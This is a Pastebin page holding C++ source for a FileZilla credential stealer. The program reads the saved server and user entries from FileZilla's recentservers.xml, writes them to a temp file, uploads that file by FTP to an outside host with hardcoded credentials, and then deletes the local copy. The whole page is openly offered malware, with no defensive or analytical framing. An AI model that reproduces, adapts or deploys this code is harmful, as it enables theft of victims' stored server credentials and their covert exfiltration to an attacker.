appo

Stealer Filezilla

Dec 27th, 2013
519
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 1.78 KB | None | 0 0
  1. #include "stdafx.h"
  2. #include <iostream>
  3. #include <string>
  4. #include <fstream >
  5.  
  6.  
  7. #include <windows.h>
  8. #include <wininet.h>
  9. #pragma comment (lib, "wininet")
  10.  
  11. using namespace std;
  12.  
  13. void upload(LPCSTR server, LPCSTR login, LPCSTR pass, LPCSTR local_file, LPCSTR remote_file)
  14. {
  15.     HINTERNET hOpen, hConnection;
  16.    
  17.     hOpen = InternetOpen(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
  18.    
  19.     hConnection = InternetConnectA(hOpen, server, INTERNET_DEFAULT_FTP_PORT,login, pass, INTERNET_SERVICE_FTP, 0, 0);                
  20.     if(FtpPutFileA(hConnection, local_file, remote_file, FTP_TRANSFER_TYPE_ASCII, 0))
  21.                   cout << "Success Story" << endl;
  22.     else
  23.         cout << "Epic Fail!" << endl;
  24.                  
  25.     InternetCloseHandle(hConnection);
  26.     InternetCloseHandle(hOpen);
  27. }
  28.  
  29. int main()
  30. {  
  31.     string appdata = getenv ( "APPDATA" );
  32.     appdata+="\\FileZilla\\recentservers.xml";
  33.     ifstream f(appdata);
  34.  
  35.     string s;
  36.  
  37.     string tmp = getenv ( "TMP" );
  38.     tmp+="\\super_stealer.txt";
  39.     ofstream f2(tmp);
  40.  
  41.     while(!f.eof())
  42.     {
  43.        
  44.         f >> s;
  45.         //cout << s << endl;
  46.         if(s.find("<Server>")<s.size())
  47.         {
  48.             f >> s;
  49.             //cout << s << endl;    // I am a Hindu
  50.             f2 << s << endl;
  51.  
  52.             f >> s;
  53.             //cout << s << endl;   
  54.             f2 << s << endl;
  55.  
  56.             while(!(s.find("</Server>")<s.size()))
  57.             {
  58.                 f >> s;
  59.                 if(s.find("<User>")<s.size())
  60.                 {
  61.                     //cout << s << endl;    // I am a Hindu
  62.                     f2 << s << endl;
  63.  
  64.                     f >> s;
  65.                     //cout << s << endl;
  66.                     f2 << s << endl;
  67.                     //cout << "---------------" << endl;
  68.                     f2 << "---------------" << endl;
  69.                     break;
  70.                 }
  71.                
  72.             }
  73.         }
  74.        
  75.     }
  76.  
  77.     f.close();
  78.     f2.close();
  79.    
  80.  
  81.     upload("appo.pro","user","name", tmp.c_str(), "//_smth_log_name.txt");
  82.     DeleteFileA(tmp.c_str());
  83.  
  84.     system("pause");
  85.     return 0;
  86. }
  87.  
  88. // Coded by Appo //
Add Comment
Please, Sign In to add comment